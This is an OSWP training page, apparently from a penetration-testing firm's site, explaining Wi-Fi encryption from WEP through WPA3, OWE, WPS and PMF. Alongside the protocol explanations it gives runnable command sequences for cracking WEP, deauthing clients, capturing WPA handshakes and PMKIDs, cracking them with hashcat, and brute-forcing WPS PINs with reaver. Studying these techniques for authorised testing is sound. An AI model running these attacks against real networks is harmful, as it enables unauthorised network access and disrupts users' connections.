>
CyberShellsServicesPricingBlogBook a scoping call →
◆ OSWP · Module 02

Wi-Fi Encryption

Every lock that has ever guarded a wireless network, taken apart from WEP to WPA3 the way an attacker actually sees it.

Where this falls

Why Wi-Fi needs encryption at all

A wired network has a physical defence you rarely think about: to read the traffic, an attacker has to plug into the cable. Wi-Fi throws that defence away. It sends every frame out as radio waves in all directions, through walls, out the window, into the car park. Anyone with a cheap antenna in range receives a perfect copy of your packets whether you invited them or not.

PICTURE IT

A cabled network is passing notes by hand in a classroom. Wi-Fi is shouting the note across the room. Encryption is agreeing, in advance, to shout in a language only you and your friend understand. Everyone still hears the noise. Only the two of you hear the message.

So wireless security is really two separate questions, and every protocol on this page is just a different answer to them:

  1. Encryption — can an eavesdropper read what I send? (confidentiality)
  2. Authentication — can I prove I'm allowed on this network, and that the AP is the real one? (identity)

The whole history below is a story of these two questions being answered badly (WEP), then adequately (WPA2), then well (WPA3) — and of attackers finding the gap each time.

OSWP framing This is the groundwork module. You can't crack a handshake you don't understand. Everything here maps directly to the flags you'll chase later: capture a handshake, understand what's in it, then break the password offline.

01 · History

Twenty years in one glance

Each step exists because the previous one was broken. Keep this order in your head and every acronym later has a reason to exist.

1997
WEP shipsFirst 802.11 encryption. RC4 + a 24-bit IV. Weak export-restricted keys.
2001
WEP fallsIV reuse attacks. Crackable in minutes. IEEE spins up the 802.11i group.
2003
WPA (WPA1)Stopgap. TKIP wraps RC4 in per-packet keys so legacy hardware survives.
2004
WPA2The full 802.11i standard. CCMP/AES built from scratch. Still everywhere today.
2006
WPSPush-button / PIN pairing. Convenient, and a gift to attackers.
2009
802.11w (PMF)Protects management frames so deauth floods stop working. Mandatory under WPA3.
2018
WPA3 + OWESAE (Dragonfly) kills offline cracking. OWE encrypts open networks.

02 · No encryption

Open networks

The baseline: no key, no encryption, nothing. The airport, the café, the hotel lobby. You connect in two round trips and you're on.

STA (you) AP (router) 1 · Authentication request 2 · Authentication response "success" 3 · Association request 4 · Association response

Figure 1 — Joining an open network. No secret is ever exchanged.

Attacker's view Put the card in monitor mode and every byte is plaintext. Passwords on HTTP sites, DNS lookups, cookies — all readable with wireshark. This is why "free Wi-Fi" is a hunting ground.

OWE (section 08) later fixes exactly this without asking anyone to type a password.

03 · The broken one

WEP & RC4

Wired Equivalent Privacy was supposed to make wireless "as private as a cable." It failed. Understanding why teaches you the single most important idea in stream ciphers.

The RC4 keystream idea

RC4 is a symmetric stream cipher: the same key encrypts and decrypts. It stretches a short key into a long river of pseudo-random bits (the keystream), then XORs that river against your plaintext.

PICTURE IT

XOR encryption is a tracing-paper overlay. Lay a random pattern over your message and the message vanishes into noise. Lay the exact same pattern over the noise again and the message reappears. The pattern is the keystream. The golden rule: never reuse the same overlay twice.

How WEP builds the keystream

  • KSA (Key Scheduling Algorithm) — seeds a state table from the IV + WEP key.
  • PRGA (Pseudo-Random Generation Algorithm) — spits out the keystream from that table.

The fatal flaw: a 24-bit IV

Every packet prepends a 24-bit Initialization Vector to the key so the keystream differs per packet. 24 bits is only ~16.7 million values. On a busy network the IV wraps around and repeats within hours. Two packets with the same IV = same keystream = the tracing-paper overlay reused. XOR them together and the key cancels out, leaking the plaintext.

Why it collapsed Export law capped the real key at 40 bits, and the 24-bit IV made reuse inevitable. Tools like aircrack-ng gather enough repeated IVs to recover the key statistically — not by guessing the password, but by solving for it. Minutes, not years.
IV (24b) WEP key KSA PRGA keystream ⊕ plaintext + CRC32 (ICV) ciphertext

Figure 2 — WEP encryption. The IV travels in cleartext with the packet, which is the root of the problem.

Attacking WEP

The flow: capture traffic, inject to force more IVs, crack the key from the collected IVs.

wep-crack.sh · aircrack-ng suite
# 1. monitor mode on your card
$ airmon-ng start wlan0

# 2. find the target, note BSSID + channel
$ airodump-ng wlan0mon

# 3. capture only the target, write to file
$ airodump-ng --bssid AA:BB:CC:DD:EE:FF -c 6 -w wep wlan0mon

# 4. (optional) replay ARP to generate IVs fast
$ aireplay-ng --arpreplay -b AA:BB:CC:DD:EE:FF wlan0mon

# 5. crack once you have ~20k-80k IVs
$ aircrack-ng wep-01.cap
Mindset shift WEP cracking does not guess the password. It collects mathematical leakage until the key falls out. That's why key length barely matters here — the IV is the wound.

WEP authentication (two flavours)

  • Open — anyone associates; you just need the key to actually encrypt data afterwards.
  • Shared Key — AP sends a challenge, client encrypts it with the WEP key. Ironically weaker: capturing one challenge + response leaks keystream directly.

04 · The workhorse

WPA & WPA2

802.11i produced two ciphers. One to rescue old hardware, one built properly.

The two WPA ciphers
CipherCommercial nameBased onWhy it exists
TKIPWPA / WPA1Still RC4, patchedRuns on WEP-era chips via a firmware update. Per-packet keys, replay counters, Michael MIC.
CCMPWPA2 (RSN)AES, from scratchThe real fix. No RC4 anywhere. Needs modern hardware.

Personal vs Enterprise

This distinction decides how the master key is born, and it changes how you attack the network.

WPA-Personal (PSK)
one shared passphrase

Everyone types the same password. The PMK is derived from it with PBKDF2 (passphrase + SSID, 4096 iterations). Attackable offline once you grab a handshake.

WPA-Enterprise (802.1X)
per-user, RADIUS

Each user authenticates to a RADIUS server over EAP (EAP-TLS, PEAP…). The master key comes from that exchange, not a shared word. Attacks shift to rogue APs / credential relay.

PICTURE IT

Personal is one house key that everyone in the share-house copies. Enterprise is a hotel where the front desk issues you a unique keycard and logs who you are. Break the house key once and you own the house; the hotel makes you fool the front desk.

05 · The main event

The 4-way handshake

This is the single most important sequence in the whole module. It is where WPA/WPA2 proves both sides know the password without ever sending it — and it is the exact thing you capture and crack.

Before it starts, both sides already share the PMK (Pairwise Master Key — from the passphrase in Personal mode). The handshake's job is to turn that static PMK into fresh per-session keys and confirm both sides really have it.

Supplicant (STA) Authenticator (AP) M1 · ANonce → AP's random number. Now STA can build the PTK. M2 · SNonce + MIC → STA's nonce + proof. AP now builds the same PTK. M3 · GTK + MIC → AP confirms + hands over the group key. M4 · ACK → Done. Keys installed. Encryption starts.

Figure 3 — The 4-way handshake. Capture M1 + M2 and you have everything needed to crack the PSK offline.

The MIC is the oracle The MIC in M2 is computed with a key derived from the PMK. An attacker guesses a passphrase, derives a candidate PMK → PTK, recomputes the MIC, and checks it against the captured one. Match = password found. The network never sees a single guess. This is offline cracking.

Capturing and cracking it

wpa-handshake.sh · capture then crack
# capture on the target channel
$ airodump-ng --bssid AA:BB:CC:DD:EE:FF -c 6 -w wpa wlan0mon

# force a client to reconnect so you catch the handshake
# (needs a client present AND no PMF — see section 10)
$ aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:FF -c 11:22:33:44:55:66 wlan0mon

# look for "WPA handshake: AA:BB..." in the airodump header
# then crack offline against a wordlist
$ aircrack-ng -w rockyou.txt wpa-01.cap

# modern path: convert + crack on GPU with hashcat mode 22000
$ hcxpcapngtool -o hash.22000 wpa-01.cap
$ hashcat -m 22000 hash.22000 rockyou.txt
PMKID shortcut Some APs leak a PMKID in a single frame — no client, no deauth needed. Grab it with hcxdumptool and crack the same hashcat 22000 mode. One frame, no handshake.

06 · The key hierarchy

Where all the keys come from

Acronym soup, but it's a clean family tree. The passphrase at the top; the session keys at the bottom.

passphrase + SSID PMK (256-bit) ANonce + SNonce both MAC addrs PTK KEK · wrap keys KCK · MIC key TK · encrypts data PBKDF2 ×4096 PRF (HMAC-SHA1)

Figure 4 — The PTK is derived fresh each session from the PMK + 2 nonces + 2 MACs, then sliced into sub-keys.

PMK
256-bit · master

From the passphrase (Personal) or RADIUS (Enterprise). Static per network.

PTK
384 / 512-bit · per session

The working key. Different every connection because the nonces are fresh.

KEK
bits 0–127

Encrypts extra key material the AP sends (like the GTK).

KCK
bits 128–255

Computes the MIC on handshake messages — the part attackers verify against.

TK
bits 256+

The one that actually encrypts your unicast data frames.

GTK
group key

Shared by all clients, encrypts broadcast/multicast. Rotated when anyone leaves.

07 · The modern one

WPA3 & SAE

WPA3 doesn't invent a new cipher — it still rides on AES. What it replaces is the handshake, and that replacement is what kills offline cracking.

SAE (the Dragonfly handshake)

Simultaneous Authentication of Equals swaps the PSK exchange for a Diffie-Hellman based commit then confirm exchange. Both sides prove they know the password without producing anything an attacker can take home and grind against a wordlist.

PICTURE IT

WPA2's handshake is like someone showing you a locked box — you can take it home and try keys on it forever (offline cracking). SAE is like a live door that only opens if you say the password out loud, once, in person. Guess wrong and you're kicked out and have to come back. No box to take home. Every guess costs a real round trip to the AP.

  • Forward secrecy — stealing today's password can't decrypt yesterday's captured traffic.
  • PMF mandatory — deauth attacks don't work (see section 10).
  • Enterprise 192-bit mode — GCMP-256, HMAC-SHA384, ECDHE/ECDSA on a 384-bit curve.
  • SAE uses DH groups; group 19 (256-bit ECP) is the mandatory baseline.
Still has a surface WPA3 isn't untouchable. The Dragonblood side-channel and downgrade attacks, and WPA3-Transition mode (which keeps a WPA2 path alive for old clients), are where real engagements focus. Pure WPA3-only with PMF required is the hard target.

08 · Encryption without a password

OWE — Enhanced Open

Remember the café network from section 02, where everything was plaintext? OWE fixes it without anyone typing a password. The screen still says "open," but the air is encrypted.

The trick: during association, client and AP do a Diffie-Hellman exchange, and the shared secret feeds a normal 4-way handshake. Each client gets its own keys, so your neighbour on the same open network still can't read your traffic.

PICTURE IT

Old open Wi-Fi: everyone shouts in the same room, no language barrier. OWE: before talking, you and the AP secretly invent a private language on the spot that nobody overhearing can reconstruct — even though you never pre-agreed a password.

  • Depends on PMF required on the AP.
  • Uses ECC DH groups 19, 20, 21.
  • Transition mode runs a legacy open BSSID alongside the OWE one so old devices still connect.
The catch OWE stops passive sniffing, not an active attacker. Because there's no authentication of the AP, a rogue AP can still sit in the middle. It raises the bar on cafés; it isn't a replacement for a password.

09 · The convenience hole

WPS

Wi-Fi Protected Setup lets you join by pressing a button or typing an 8-digit PIN instead of the long passphrase. Convenient. Also one of the most reliable ways onto a home network.

Why the PIN is weak

The 8-digit PIN is checked in two halves, and the last digit is just a checksum. So instead of 10⁸ (100 million) guesses, an attacker faces 10⁴ + 10³ ≈ 11,000 guesses. The protocol itself tells you when the first half is right (via the M4/M5/M6 message responses).

PICTURE IT

Imagine a padlock that beeps the moment the first four digits are right, before you've finished the code. You'd crack it in an afternoon. WPS does exactly that: it validates each half separately, so you brute-force two tiny spaces instead of one huge one.

wps-attack.sh · reaver / bully
# list WPS-enabled APs and their lock status
$ wash -i wlan0mon

# online PIN brute force (slow, noisy, but classic)
$ reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -vv

# Pixie-Dust: offline attack on weak nonce generation (seconds-minutes)
$ reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -c 6 -K 1 -vv
Pixie-Dust is the real one Many chipsets generate the M3 nonces badly. Pixie-Dust (-K 1) exploits that to recover the PIN offline in seconds — no 11,000-guess grind. Always try it first.

10 · The deauth killer

802.11w — Protected Management Frames

Everything above assumed you could deauth a client to force a fresh handshake. 802.11w (PMF) is what stops that.

Normally, deauthentication and disassociation frames are unauthenticated — the AP or client believes any deauth it receives and disconnects. That's the whole basis of the deauth attack. PMF adds integrity protection to these management frames, so a spoofed deauth is simply ignored.

PICTURE IT

Without PMF, anyone can shout "the meeting's cancelled!" and the whole room gets up and leaves — then files back in, letting you photograph them at the door (the handshake). With PMF, the cancellation only counts if it carries the official stamp. Your forged announcement gets ignored.

PMF negotiation — who connects, and whether frames are protected
AP settingClient settingConnects?PMF active?
NoNoYesNo
NoCapableYesNo
NoRequiredNo—
CapableNoYesNo
CapableCapableYesYes
CapableRequiredYesYes
RequiredNoNo—
RequiredCapableYesYes
RequiredRequiredYesYes
What it means for you On a PMF-required network the deauth trick is dead. Fall back to: waiting for a natural handshake, the PMKID attack (no deauth needed), or targeting WPS. PMF is mandatory under WPA3, which is why WPA3 engagements feel so different.

11 · Keep this open

Protocol & attack cheat sheet

Every protocol at a glance
ProtocolYearCipherKey handshakeStatusPrimary attack
Open—nonenoneplaintextpassive sniff
WEP1997RC4 + 24-bit IVnone / sharedbrokenIV statistical crack
WPA (TKIP)2003RC4, patched4-wayweakhandshake + wordlist
WPA2 (CCMP)2004AES-CCMP4-wayPSK crackablehandshake / PMKID
WPA3 (SAE)2018AES, SAEDragonflystrongDragonblood / downgrade
OWE2018AES + DHDH + 4-wayopen+encrogue AP (active)
WPS2006n/a (onboarding)M1–M8weak PINPixie-Dust / reaver

Command quick-reference

oswp-quickref.sh
# --- setup (always) ---
$ airmon-ng start wlan0
$ airodump-ng wlan0mon                 # survey

# --- WEP ---
$ airodump-ng --bssid <BSSID> -c <ch> -w wep wlan0mon
$ aireplay-ng --arpreplay -b <BSSID> wlan0mon
$ aircrack-ng wep-01.cap

# --- WPA/WPA2 (handshake) ---
$ airodump-ng --bssid <BSSID> -c <ch> -w wpa wlan0mon
$ aireplay-ng --deauth 5 -a <BSSID> -c <CLIENT> wlan0mon
$ hcxpcapngtool -o hash.22000 wpa-01.cap
$ hashcat -m 22000 hash.22000 rockyou.txt

# --- WPA2 (PMKID, no client needed) ---
$ hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1
$ hcxpcapngtool -o hash.22000 pmkid.pcapng
$ hashcat -m 22000 hash.22000 rockyou.txt

# --- WPS ---
$ wash -i wlan0mon
$ reaver -i wlan0mon -b <BSSID> -c <ch> -K 1 -vv   # pixie first
The one-line map Open → read it. WEP → collect IVs. WPA/WPA2-PSK → grab a handshake or PMKID, crack offline. WPA3 → no offline crack, look at transition mode. WPS → try Pixie-Dust before anything else. PMF on? → the deauth shortcut is gone.